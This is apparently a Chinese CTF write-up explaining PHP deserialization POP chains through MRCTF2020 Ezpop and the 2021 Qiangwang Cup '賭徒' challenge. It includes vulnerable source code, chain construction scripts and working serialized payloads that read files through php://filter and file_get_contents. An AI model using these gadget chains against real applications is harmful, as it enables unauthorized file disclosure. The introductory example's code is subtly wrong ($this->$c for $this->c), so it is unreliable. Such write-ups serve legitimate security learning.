知識點
pop鏈的構造
前言
第一次在比賽里做出題!!!好激動哈哈哈
[賭徒]是現學現做的一道php反序列化web題,之前對反序列化漏洞的了解只停留在繞過__wakeup魔法方法,和群里的大佬交流發現原來pwn也有。

於是仔細一想,pop是彈棧的意思,程序調用函數前,它會現將函數所要用到的參數值以逆序的方式壓入棧中,而我們要做的就是逆着這個方向按着一條鏈一個個彈棧,是不是就是叫pop鏈的原因?
引入
先上一個例子,我們想根據這些參數控制A類funa方法的echo,怎么做?
<?php
class A {
public $a;
public function funa($a1){
echo $a1;
}
}
class B {
public $b;
public function funb($b1){
$this->$b->funa($b1);
}
}
class C {
public $c;
public function func($c1){
$this->$c->funb($c1);
}
}
highlight_file(__FILE__);
$pop = $_GET['pop'];
$argv = $_GET['argv'];
$class = unserialize($pop);
$class->func($argv);
?>
可以看到,我們控制pop參數,這應該是個實例化的C類,因為只有C 類下有func()方法。
$pop=new C;
C類里的屬性c,應該是個實例化的B類,這樣$this->$c->funb($c1);就相當於調用B類的funb()函數。
$pop->$c=new B;
以此類推,B類里的屬性b,應該是個實例化的A類,這樣$this->$b->funa($b1);就相當於調用A類的funa()函數,就能達到我們的目的啦!
$pop->$c->$b = new A;
試着輸出一下123455
$pop->$c->$b->funa(123455);
合在一起,進行序列化
<?php
class A {
public $a;
public function funa($a1){
echo $a1;
}
}
class B {
public $b;
public function funb($b1){
$this->$b->funa($b1);
}
}
class C {
public $c;
public function func($c1){
$this->$c->funb($c1);
}
}
$pop=new C;
$pop->$c=new B;
$pop->$c->$b = new A;
$pop->$c->$b->funa(123455);
echo serialize($pop);
?>
O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}
很明顯這個argv參數里是我們要輸出的內容,最終payload為
?pop=O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}&argv=123
[MRCTF2020]Ezpop
在一定的條件下魔術方法可以不被調用直接觸發,這種觸發形式層層相扣,在魔術方法中觸發另一個類的魔術方法,這便形成了POP鏈。
先記下魔術方法
__sleep() //使用serialize時觸發
__destruct() //對象被銷毀時觸發
__call() //在對象上下文中調用不可訪問的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取數據
__set() //用於將數據寫入不可訪問的屬性
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字符串使用時觸發
__invoke() //當腳本嘗試將對象調用為函數時觸發
然后上題目
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 當用get方法傳一個pop參數后,會因為unserialize()自動調用Show類的__wakeup()魔術方法。
- 由於__wakeup()通過preg_match()將$this->source做字符串比較,現在如果$this->source是一個Show類,就會調用__toString()方法;
- 如果__toString()其中str屬性被賦值為一個實例化的Test類,那么因為其類不含有source屬性,所以會調用Test中的__get()方法。
- 如果__get()中的p賦值為實例化的Modifier類,那么相當於Modifier類被當作函數處理,所以會調用Modifier類中的__invoke()方法。
- 最后利用文件包含漏洞,讀取flag.php的內容。
捋一下邏輯
Modifier::__invoke() <- Test::__get() <- Show::__toString() <- Show::__wakeup()
所以來構建payload,這里注意由於有$this要記得在實例化類的時候加括號。
還要注意一下
本地測試的時候要有些修改,一是文件包含漏洞,用php偽協議來讀flag.php,二是用tostring()返回一個有效的字符串就行。
Welcome to index.php
<?php
//error_reporting(1);
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
;
public function append($value){
//include($value);
echo $value;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
$this->str->source;
return "Ginger";
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
// if(isset($_GET['pop'])){
// @unserialize($_GET['pop']);
// }
// else{
// $a=new Show;
// highlight_file(__FILE__);
// }
//$pop = new Show($a);這里要先把$a先弄完整所以pop放最后
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$pop = new Show($a);
echo serialize($pop);
解 碼
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:3:"aaa";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
最后需要進行url編碼,真神奇......
payload:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
題解2021強網杯 [強網先鋒]賭徒
遇事不決dirsearch一把梭
掃到了www.zip文件,下載,看index.php源碼
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
和MRCTF那道題很像
捋一下思路
unserialize() -> Start::__wakeup -> Start::_sayhello()
如果name是個實例化的Info類,就會觸發__construct()
Start::_sayhello() -> Info::__construct()
如果promise是個實例化的Info類,就會觸發__toString()
Info::__construct() -> Info::__toString()
如果file['filename']是個實例化的Room類,就會觸發Room的__get()
Info::__toString() -> Room::__get()
如果a是個實例化的Room類,就會觸發Room的__invoke()
Room::__get() -> Room::__invoke() -> Get_hint($file)
就會得到base64加密的flag
於是開始構建
<?php
include "index.php";
$a = new Start();
$a->name = new Info();
$a->name->file["filename"] = new Room();
$a->name->file["filename"]->a= new Room();
echo "<br>";
echo serialize($a);
?>
得到payload(注意Info類有個private屬性)
?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
總結
感覺構造pop鏈更像是在順着邏輯逆着找起點(雖然題里給的一般是順着到底可以找出來的),雖然和繞過__wakeup魔法方法都屬於反序列化攻擊,但是像一種邏輯漏洞。
不管怎樣,慶祝一下自己第一次在比賽里做出題來!人生中的一血啊哈哈哈!!!
PS:觸發魔術方法,我們需要這個類在內存中的對象值。而像數組、對象這種復雜數據結構在非內存使用的情況下通常是以序列化形式存在。當進程調用時在還原成原來的形式調入內存,這就是反序列化。
